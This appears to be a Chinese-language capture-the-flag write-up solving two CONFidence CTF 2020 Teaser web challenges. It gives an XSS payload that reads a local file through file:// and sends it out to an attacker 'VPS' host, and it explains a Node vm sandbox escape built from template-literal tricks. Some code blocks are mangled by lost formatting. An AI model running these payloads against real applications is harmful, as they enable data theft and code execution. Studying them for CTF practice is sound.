CONFidence CTF 2020 Teaser writeup

  • A+

cat web

HAI! WANNA SEE MAI KATZ? OR MAYBE YOU WANNA SEE SOM FLAG? Note: Getting the flags location is a part of the challenge. You don't have to guess it.

js源码:
```javascript
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '


';
$('#cats_container').append(newDiv);
});
});

}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
```

涉及到的几个端点:
* /report:可以提交一个URL,后端会用firefox打开这个URL
* /cats?kind=xx:输出json,响应可控

XSS的点看上去有两个,一个是getJSON(),一个是innerHTML。但是这里受限于返回的json串,没法构造合法的js语句。所以只能覆盖json里的status和content字段,在innerHTML触发XSS。

POC:
/?","status": "ok", "content": ["\"><script>alert()</script>",2,3], "a":"a

XSS读了源码和cookie,都没发现有价值的东西。

回过头来发现,http://catweb.zajebistyc.tf/cats?kind=../这个端点是可以列目录的。
通过目录遍历,找到了flag在/app/templates/flag.txt。但是这是个python应用,没法直接访问这个模板目录。
联想到后端用的浏览器是Firefox/67.0,猜测可能是要用XSS去读本地文件。

既然要用file://读文件,就要考虑同源策略的问题,我们用HTTP协议去触发XSS肯定是不行的,所以这里可以用file:///app/templates/index.html?...来触发XSS。

payload:
file:///app/templates/index.html?","status": "ok", "content": ["\"><script>fetch('flag.txt').then(res => res.text()).then(res=> fetch(`//VPS/${res}`))</script>",2,3], "a":"a

总结:
这实际是一个SSRF场景,用firefox作为请求客户端,支持file://协议。而Firefox 67及以前在file://同源的情况下,是可以读文件的。

Temple JS

ECMAScript 6 brought in a new paradigm to JavaScript: template programming!!111 ... kinda

源码:
```javascript
const express = require("express")
const fs = require("fs")
const vm = require("vm")

global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()
const help = "There is no help on the way."

const app = express()
const port = 3000

app.use(express.json())
app.use('/', express.static('public'))

app.post('/repl', (req, res) => {
let sandbox = vm.createContext({par: (v => (${v})), source, help})
let validInput = /^[a-zA-Z0-9 ${}`]+$/g

let command = req.body['cmd']

console.log(`${req.ip}> ${command}`)

let response;

try {
    if(validInput.test(command))
    {
        response = vm.runInContext(command, sandbox, {
            timeout: 300,
            displayErrors: false
        });
    } else
        throw new Error("Invalid input.")
} catch(ex)
{
    response = ex.toString()
}

console.log(`${req.ip}< ${response}`)
res.send(JSON.stringify({"response": response}))

})

console.log(Listening on :${port}...)
app.listen(port, '0.0.0.0')
```

这题的考点在于要用指定范围内的字符去绕过vm沙箱,读到flag。

回想下,逃逸vm的思路是找到一个一个连同vm内外的变量。这道题有哪些呢?
只有两个:sandbox(this)和par。
为什么source和help不是呢?这就要从js的数据类型说起了。
js有5种基本数据类型:布尔、null、undefined、String和Number。这些基本数据类型在赋值时是通过值传递的方式。除了基本数据类型外,还有另外3种类型:Array、Function和Object。这3种都是对象,在赋值时用的是引用传递。

这就是source和help不满足条件的原因,它俩都是基本数据类型。

用this的话,需要两次constructor才能得到Function,用par的话只需要一次(因为par本事就是一个函数对象)。
javascript
par.constructor('return flag')() // flag
this.constructor.constructor('return flag')() // flag

显然用par更简单,所以我们用它来开始构造。

payload:
{"cmd":"Function`a${`with${par`par`}return constructor`} return flag ``"}
```

payload看上去比较复杂,拆解一下就会发现原理很简单。
``javascript
1. ${par
par`} => (par)

  1. with${parpar}return constructor => with(par) return constructor

  2. Functiona${with${parpar}return constructor`}``` => Function('a', 'with(par) return constructor ')

  3. Functiona${with${parpar}return constructor}```return flag` `` => Function('a','return par.constructor')() ('return flag')()
    ```

第3步中涉及到es6中标签函数的用法。标签函数的第一个参数是被嵌入表达式分隔的文本的数组,第二个参数开始是嵌入表达式的内容:
```javascript
function test(name, ...args) {
console.log(name)
console.log(args)
}

name = 'bob'
age = 18
other = 111

testa${name}b${age}c${other}
/
output:
[ 'a', 'b', 'c', '' ]
[ 'bob', 18, 111 ]
/
```

看懂这个,理解payload就不难了。

image.png

参考:
* ES6 - 标签函数